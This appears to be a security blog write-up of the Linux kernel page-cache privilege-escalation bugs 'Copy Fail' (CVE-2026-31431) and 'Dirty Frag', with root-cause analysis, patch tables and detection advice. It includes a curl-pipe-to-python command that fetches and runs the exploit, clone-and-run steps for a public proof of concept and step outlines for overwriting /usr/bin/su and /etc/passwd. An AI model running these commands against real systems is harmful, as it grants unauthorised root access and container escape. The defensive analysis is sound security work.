Copy Fail: CVE-2026-31431 — The 732-Byte Script That Roots Every Linux Since 2017
A deterministic logic bug in the Linux kernel’s crypto subsystem lets an unprivileged local user write 4 arbitrary bytes into the page cache of any readable file. No races, no retries, no kernel offsets. A 732-byte Python script turns any user account into root on every major Linux distribution shipped in the last nine years.
Overview
On April 29, 2026, Xint Code (a security research platform from Theori) publicly disclosed CVE-2026-31431, a local privilege escalation vulnerability in the Linux kernel’s algif_aead crypto interface. The bug had been silently exploitable since a 2017 optimization commit — nearly a decade.
The vulnerability was dubbed Copy Fail by its discoverer, researcher Taeyang Lee. The name is apt: a copy operation that misses its target and lands in the wrong memory. The result is a controlled 4-byte write into the kernel’s page cache — the in-memory cache of file contents that every read(), mmap(), and execve() consults.
What makes Copy Fail remarkable is its simplicity. Unlike Dirty Cow (CVE-2016-5195), which required winning a race condition, or Dirty Pipe (CVE-2022-0847), which was version-specific, Copy Fail is a straight-line logic flaw. It triggers every time, deterministically, without races or retries. The same 732-byte Python script — using only os, socket, and zlib from the standard library — roots Ubuntu, RHEL, Amazon Linux, and SUSE without modification.
And barely a week later, researcher Hyunwoo Kim (@v4bel) disclosed Dirty Frag (CVE-2026-43284/43500), a related vulnerability chain in the same bug class that bypasses the Copy Fail mitigation entirely.
Vulnerability Classification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-31431 |
| CVSS v3.1 | 7.8 HIGH |
| CWE | CWE-669 — Incorrect Resource Transfer Between Spheres |
| Attack Vector | Local |
| Authentication | Low (unprivileged user) |
| User Interaction | None required |
| Attack Complexity | Low (deterministic) |
| Impact | Local privilege escalation, container escape, kernel page-cache corruption |
| Vulnerable Window | 2017 (commit 72548b093ee3) through April 2026 |
| Fix Commit | a664bf3d603d (reverts algif_aead to out-of-place operation) |
The Page-Cache Vulnerability Family
Copy Fail belongs to a lineage of high-profile Linux kernel vulnerabilities that share a common theme: corrupting the page cache to escalate privileges.
Comparison Table
| Vulnerability | CVE | Year | Mechanism | Race-Free? | Affected Window | Primitive |
|---|---|---|---|---|---|---|
| Dirty Cow | CVE-2016-5195 | 2016 | Race condition in mm/gup.c COW path |
No (race condition) | 2007–2016 (~9 years) | Write to read-only mapping |
| Dirty Pipe | CVE-2022-0847 | 2022 | Uninitialized flags in pipe_buffer |
Yes (deterministic) | 5.8–5.16.11 (~2 years) | Write to page cache via pipe |
| Copy Fail | CVE-2026-31431 | 2026 | authencesn scratch write via AF_ALG + splice() |
Yes (deterministic) | 2017–2026 (~9 years) | 4-byte write to page cache |
| Dirty Frag | CVE-2026-43284/43500 | 2026 | xfrm-ESP + RxRPC in-place decrypt on shared frags |
Yes (deterministic) | 2017–2026 (~9 years) | 4/8-byte write to page cache |
Each of these vulnerabilities exploits a different subsystem, but they converge on the same sink: writing attacker-controlled data into the kernel’s page cache, then executing or reading the corrupted pages through normal file operations.
Dirty Cow (CVE-2016-5195): The Patriarch
Dirty Cow was the first major page-cache privilege escalation to gain widespread attention. The bug lived in mm/gup.c — the kernel’s “get user pages” implementation. A race condition in the copy-on-write (COW) path allowed a local user to write to a read-only memory mapping by racing a write() through /proc/self/mem against madvise(MADV_DONTNEED) on the same private COW page. The kernel would create a private COW page for the write, but a TOCTOU (time-of-check to time-of-use) window allowed the private page to be discarded and replaced with the file-backed page before the write completed.
Dirty Cow was exploited in the wild starting October 2016. It affected the kernel for nearly a decade (since 2.6.22 in 2007). The race window was tight — exploit reliability varied from ~40% to near-100% depending on the technique — but the impact was total: root on any vulnerable Linux system.
Dirty Pipe (CVE-2022-0847): The Pipe Variant
Discovered by Max Kellermann in 2022, Dirty Pipe exploited an uninitialized flags field in the pipe_buffer structure. When the kernel created a new pipe buffer via copy_page_to_iter_pipe(), it failed to initialize the flags member, which could retain the PIPE_BUF_FLAG_CAN_MERGE value from a previous page. This allowed an unprivileged user to splice a file into a pipe and then write() arbitrary data into the page cache of that file — including read-only, setuid-root binaries.
Dirty Pipe was deterministic (no race condition) but affected a narrower kernel window: Linux 5.8 through 5.16.11, roughly two years. Still, it demonstrated the power of the page-cache attack class: the same primitive that Dirty Cow used, but without the unreliability of racing.
CVE-2026-0073: A Related Surface
While not a page-cache vulnerability itself, CVE-2026-0073 is worth mentioning in this context. Discovered in Android’s adbd (the ADB daemon) and disclosed in the same May 2026 Android Security Bulletin, this vulnerability is a logic error in adbd_tls_verify_cert() that bypasses wireless ADB mutual authentication. The result is remote (proximal/adjacent) code execution as the shell user — no interaction required, CVSS 8.8.
Why include it here? Because CVE-2026-0073 represents the initial access vector that page-cache LPEs like Copy Fail and Dirty Frag need. An attacker who compromises a device via wireless ADB gains an unprivileged shell — exactly the starting point for a kernel page-cache exploit. In a real-world attack chain, CVE-2026-0073 gets you the foothold; Copy Fail gets you root.
Technical Deep Dive
The Three Ingredients
Copy Fail exists at the intersection of three independently reasonable kernel features. No single feature is buggy on its own. The vulnerability emerges only when all three are combined.
1. AF_ALG — The Userspace Crypto Front Door
AF_ALG is a socket family that exposes the kernel’s cryptographic subsystem to unprivileged userspace. Any user can open an AF_ALG socket, bind to any AEAD (Authenticated Encryption with Associated Data) template, and invoke encryption or decryption. No privileges required — by design.
2. splice() — Zero-Copy Data Movement
The splice() system call transfers data between file descriptors and pipes without copying. Instead of copying bytes, it passes page cache pages by reference. When a user splices a file into a pipe and then into an AF_ALG socket, the socket’s input scatterlist holds direct references to the kernel’s cached pages of that file. Same physical pages that back every read(), mmap(), and execve() of that file.
3. authencesn — The AEAD Template with a Scratch Write
authencesn is an AEAD wrapper used by IPsec for Extended Sequence Number (ESN) support. IPsec uses 64-bit sequence numbers split into a high half (seqno_hi) and a low half (seqno_lo). For HMAC computation, authencesn needs to rearrange these bytes — and it does so by using the caller’s destination buffer as temporary scratch space. Specifically, it writes 4 bytes at offset dst[assoclen + cryptlen], past the intended output boundary. No other standard AEAD algorithm in the kernel does this.
The Root Cause: Page Cache Pages in the Writable Scatterlist
The 2017 optimization commit 72548b093ee3 changed algif_aead to perform AEAD operations in-place — meaning req->src and req->dst pointed to the same scatterlist. For decryption, the code copied AAD and ciphertext data from the input scatterlist into the output buffer (a real copy — page cache pages were only read). But the authentication tag — the last authsize bytes — was not copied. Instead, the kernel retained the scatterlist entries for the tag and chained them onto the end of the output scatterlist using sg_chain():
Input SGL: AAD || CT || Tag
|
copy | sg_chain (still page cache pages)
| |
v v
Output SGL: AAD || CT ---+ Tag (page cache pages)
|
user buffer | file's page cache
The kernel then set req->src = req->dst, both pointing to this combined chain. Page cache pages from the spliced file now sat in a writable scatterlist, separated from the legitimate write region by nothing more than an offset boundary.
When authencesn’s scratch write fires at dst[assoclen + cryptlen], it crosses from the output buffer into those chained page cache pages. Four bytes of seqno_lo — which the attacker controls via the AAD in sendmsg() — are written directly into the kernel’s cached copy of the target file.
The HMAC computation then runs and fails (the ciphertext is fabricated), so recvmsg() returns an error. But the 4-byte write has already happened and persists.
The attacker controls three things:
- Which file: Any file readable by the current user (
/usr/bin/su,/etc/passwd, etc.) - Which offset: Determined by splice offset, splice length, and
assoclen - Which value: Bytes 4–7 of the AAD, constructed by the attacker in
sendmsg()
How This Happened: A Historical Timeline
The vulnerability is the result of three independent changes made over six years, each reasonable in isolation:
| Year | Commit | Change | Security Impact |
|---|---|---|---|
| 2011 | a5079d084f8b |
authencesn added for IPsec ESN support |
Scratch write to caller’s dst buffer — harmless under old AEAD interface |
| 2015 | algif_aead.c |
AF_ALG gains AEAD support with splice() path |
Page cache pages can enter crypto scatterlist — but out-of-place, so dst is user buffer |
| 2015 | 104880a6b470 |
authencesn converted to new AEAD interface |
Introduces assoclen + cryptlen offset that writes past output boundary |
| 2017 | 72548b093ee3 |
algif_aead optimization: in-place operation |
Page cache pages now in writable dst scatterlist. Bug is live. |
| 2026 | a664bf3d603d |
Fix: revert to out-of-place operation | Separates src (page cache pages) from dst (user buffer) |
Nobody connected the 2017 in-place optimization to authencesn’s scratch writes or to the splice path’s use of page cache pages. Each change was reasonable in isolation. The vulnerability existed at the intersection of all three.
The Exploit
The published PoC by Theori is a 732-byte Python script using only os, socket, and zlib from the standard library. It requires Python 3.10+ (for os.splice).
Strategy: Patching /usr/bin/su in Page Cache
The exploit targets /usr/bin/su, a setuid-root binary present on all major Linux distributions. It writes a compressed root-shell ELF payload into the page cache of su, 4 bytes at a time, then executes the modified binary.
Step 1: AF_ALG socket → bind("aead", "authencesn(hmac(sha256),cbc(aes))") → set key
Step 2: For each 4-byte chunk of payload:
sendmsg(AAD = "\x00"*4 + chunk) + splice(file → pipe → alg_fd)
Step 3: recv() triggers decrypt → authencesn scratch write → 4 bytes to page cache
Step 4: execve("/usr/bin/su") → kernel loads corrupted page cache → root shell
Vulnerability Checker
https://github.com/Hunt-Benito/copy-fail-cve-2026-31431-linux-kernel-page-cache-lpe
$ git clone https://github.com/Hunt-Benito/copy-fail-cve-2026-31431-linux-kernel-page-cache-lpe.git
$ cd copy-fail-cve-2026-31431-linux-kernel-page-cache-lpe
$ python3 cve_2026_31431_check.py
This script checks whether your system is vulnerable. It does not exploit the vulnerability. For the real PoC, see the Theori repository.
Quick Run (Original PoC)
$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
One pipe. Two splices. Root.
Verified Distributions
| Distribution | Kernel | Result |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | Root |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | Root |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | Root |
| SUSE 16 | 6.12.0-160000.9-default | Root |
The same exploit binary works unmodified on every distribution. No per-distro offsets, no recompilation, no version checks.
Alternative Strategy: Patching /etc/passwd
A second public exploit by rootsecdev demonstrates the same primitive against /etc/passwd instead of a setuid binary. The approach:
- Open
/etc/passwdand locate the current user’s UID field - Overwrite those 4 bytes with
0000(UID 0) in the page cache getpwnam()now observes the user as UID 0su <user>drops into a root shell, validating the real password against/etc/shadow
This variant is notable because it demonstrates that the primitive isn’t limited to executable code injection — a 4-byte write against a security-sensitive readable file is sufficient to cross a privilege boundary.
Key Exploit Properties
- Stealthy: The write bypasses the ordinary VFS write path. The corrupted page is never marked dirty by the kernel’s writeback machinery. On-disk file integrity checks pass because the on-disk file is unchanged.
- Cross-container: The page cache is shared across all processes on a host, including container boundaries. Copy Fail is not just a local LPE — it is a container escape primitive.
- No crash risk: Failed exploit attempts do not kernel-panic. The page cache is simply unmodified.
Dirty Frag: The Successor That Bypasses Copy Fail Mitigations
Barely a week after Copy Fail’s public disclosure, researcher Hyunwoo Kim (@v4bel) published Dirty Frag — a vulnerability chain that belongs to the same bug class but triggers through entirely different kernel subsystems.
The critical point: Dirty Frag works even on systems where the Copy Fail mitigation (rmmod algif_aead) has been applied.
What Is Dirty Frag?
Dirty Frag (CVE-2026-43284/43500) chains two independent vulnerabilities:
| Variant | CVE | Subsystem | Primitive | Userns? | Modules |
|---|---|---|---|---|---|
| xfrm-ESP | CVE-2026-43284 | IPsec ESP | 4-byte STORE | Yes | Most distros |
| RxRPC | CVE-2026-43500 | RxRPC | 8-byte STORE | No | Ubuntu |
Both variants share the same core pattern as Copy Fail and Dirty Pipe: splice() plants a page cache page into a data structure, and an in-place crypto operation writes to it. But instead of AF_ALG/algif_aead, Dirty Frag targets the frag member of struct sk_buff — hence the name.
xfrm-ESP Page-Cache Write (CVE-2026-43284)
The esp_input() function in the kernel’s IPsec ESP implementation performs in-place AEAD decryption on incoming ESP packets. Before decrypting, it should allocate a private buffer via skb_cow_data(). However, a branch in the code skips the COW when the skb is not cloned and has no frag_list — even if it has a frag containing a page cache page pinned by splice().
When combined with the same authencesn scratch-write mechanism as Copy Fail, this gives a 4-byte arbitrary STORE into the page cache. The value written is seqno_hi from the ESP header, which the attacker controls at XFRM SA registration time.
The exploit requires CAP_NET_ADMIN (hence user namespace creation), but the esp4/esp6 modules are present on virtually all distributions.
RxRPC Page-Cache Write (CVE-2026-43500)
The rxkad_verify_packet_1() function in the kernel’s RxRPC implementation performs an in-place pcbc(fcrypt) decryption on the first 8 bytes of the skb payload — directly on top of the frag. The value written is fcrypt_decrypt(C, K) where C is the existing ciphertext at that position and K is a key the attacker controls.
Since the attacker can’t directly choose the 8-byte output, they brute-force the key K in userspace until the desired plaintext drops out. This limits the primitive to positions where few bytes are constrained.
The RxRPC variant targets /etc/passwd line 1 (the root entry), reshaping root:x:0:0:... into root::0:0:... (empty password field). With PAM nullok enabled, su root succeeds without a password prompt.
Critical advantage: No user namespace required. And on Ubuntu, rxrpc.ko autoloads via MODULE_ALIAS_NETPROTO(PF_RXRPC).
The Chaining Logic
The exploit tries both variants automatically:
1. Try xfrm-ESP variant in a child process:
unshare(USER|NET) → register XFRM SA → splice → modify /usr/bin/su
2. Check if shellcode was planted. On success → execve("/usr/bin/su") → root.
3. On failure (AppArmor blocks userns, esp4 not loaded):
Fall back to RxRPC variant:
/etc/passwd root entry → three splice triggers → empty passwd field
execve("/usr/bin/su") → PAM nullok → root.
The blind spots of the two variants cover each other. A single exploit binary works across all major distributions.
Dirty Frag PoC
https://github.com/V4bel/dirtyfrag
$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag
$ gcc -O0 -Wall -o exp exp.c -lutil
$ ./exp
# id
uid=0(root) gid=0(root) groups=0(root)
Attention! After running this exploit, the page cache is contaminated. Clean up with:
echo 3 > /proc/sys/vm/drop_caches
Or reboot the system.
The Full Attack Chain: From Remote to Root
Combining these vulnerabilities creates a devastating attack chain:
Remote Access (CVE-2026-0073) → shell user on Android/Linux device
↓
Kernel LPE (Copy Fail / Dirty Frag) → root on the host
↓
Cross-Container Escape → root on the Kubernetes node
↓
Full Infrastructure Compromise
An attacker doesn’t even need CVE-2026-0073 specifically. Any initial access that lands as an unprivileged local user — a web application RCE, a stolen SSH credential, a CI runner executing untrusted PR code, a compromised container — is sufficient. Copy Fail and Dirty Frag handle the rest.
Remediation
Immediate Patching
Update your kernel to a version that includes the fix:
| Kernel Branch | First Fixed Version |
|---|---|
| 5.10 | 5.10.254 |
| 5.15 | 5.15.204 |
| 6.1 | 6.1.170 |
| 6.6 | 6.6.137 |
| 6.12 | 6.12.85 |
| 6.18 | 6.18.22 |
| 6.19 | 6.19.12 |
| Mainline | a664bf3d603d |
For Dirty Frag (CVE-2026-43284), the ESP variant is patched in mainline at f4c50a4034e6. The RxRPC variant (CVE-2026-43500) has no upstream patch yet.
Mitigation for Copy Fail (Before Patching)
Disable the algif_aead module:
# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead
What does this break? For the vast majority of systems — nothing measurable. dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL/GnuTLS/NSS default builds, SSH, and the kernel keyring crypto all use the in-kernel crypto API directly and don’t go through AF_ALG.
Only systems with applications explicitly configured to use AF_ALG (e.g., OpenSSL with the afalg engine) are affected. Check with:
$ lsof | grep AF_ALG
$ ss -xa
Mitigation for Dirty Frag (Before Patching)
# sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"
# rmmod esp4 esp6 rxrpc 2>/dev/null
# echo 3 > /proc/sys/vm/drop_caches
Caveat: This breaks IPsec VPN, SD-WAN, and Kubernetes pod-to-pod IPsec encryption. Verify your environment before applying.
For Untrusted Workloads
Block AF_ALG socket creation via seccomp for containers, sandboxes, and CI runners — regardless of patch state:
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [
{"index": 0, "op": "SCMP_CMP_EQ", "value": 38}
]
}
]
}
Risk Assessment
| Environment | Risk Level | Why |
|---|---|---|
| Multi-tenant Linux hosts | Critical | Any user becomes root |
| Kubernetes / container clusters | Critical | Cross-container, cross-tenant |
| CI runners & build farms | Critical | A PR becomes root on the runner |
| Cloud SaaS running user code | Critical | Tenant becomes host root |
| Standard Linux servers | High | Chains with web RCE or stolen creds |
| Single-user workstations | Medium | Post-exploitation step-up only |
Detection
Checking for Copy Fail Exposure
# Is AF_ALG available?
$ python3 -c "import socket; s=socket.socket(38,5,0); print('VULNERABLE: AF_ALG available')"
$ cat /proc/crypto | grep -A3 authencesn
Checking for Dirty Frag Exposure
$ lsmod | grep -qE "esp4|rxrpc" && echo "[!] Risk: modules loaded" || echo "[+] Safe: modules not loaded"
Detecting Page-Cache Corruption
Since the on-disk file is unmodified, traditional file integrity monitoring (AIDE, Tripwire, OSSEC) will not detect Copy Fail or Dirty Frag. The corruption exists only in RAM.
Detection strategies:
- Runtime verification: Hash the in-memory page cache contents via a custom kernel module or /proc/kpageflags
- Auditd monitoring: Watch for splice() + AF_ALG socket patterns from unprivileged users
- Seccomp alerts: Log attempts to create AF_ALG sockets (family 38) from untrusted contexts
- Process monitoring: Alert on unexpected execve("/usr/bin/su") from service accounts or CI runners
Sources
- Copy Fail Official Site: https://copy.fail
- Xint Code Write-up: https://xint.io/blog/copy-fail-linux-distributions
- Theori PoC Repository: https://github.com/theori-io/copy-fail-CVE-2026-31431
- Hunt-Benito Vulnerability Checker: https://github.com/Hunt-Benito/copy-fail-cve-2026-31431-linux-kernel-page-cache-lpe
- WebSec Technical Analysis: https://websec.net/blog/cve-2026-31431-linux-algifaead-page-cache-write-to-root-69f38a4ccddd2db1f520f170
- NVD CVE-2026-31431: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- CERT/CC VU#260001: https://www.kb.cert.org/vuls/id/260001
- Red Hat Advisory: https://access.redhat.com/security/cve/cve-2026-31431
- Kernel Fix Commit: https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
- CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-31431
- Dirty Frag PoC Repository: https://github.com/V4bel/dirtyfrag
- Dirty Frag Technical Write-up: https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md
- Dirty Frag Kubernetes PoC: https://github.com/Percivalll/Dirty-Frag-Kubernetes-PoC
- NVD CVE-2026-43284: https://nvd.nist.gov/vuln/detail/CVE-2026-43284
- Dirty Pipe Original Disclosure: https://dirtypipe.cm4all.com/
- NVD CVE-2022-0847 (Dirty Pipe): https://nvd.nist.gov/vuln/detail/CVE-2022-0847
- Dirty Cow Official Site: https://dirtycow.ninja
- NVD CVE-2016-5195 (Dirty Cow): https://nvd.nist.gov/vuln/detail/CVE-2016-5195
- CVE-2026-0073 (Android ADB): https://source.android.com/docs/security/bulletin/2026/2026-05-01
- oss-security Mailing List Discussion: http://www.openwall.com/lists/oss-security/2026/04/29/23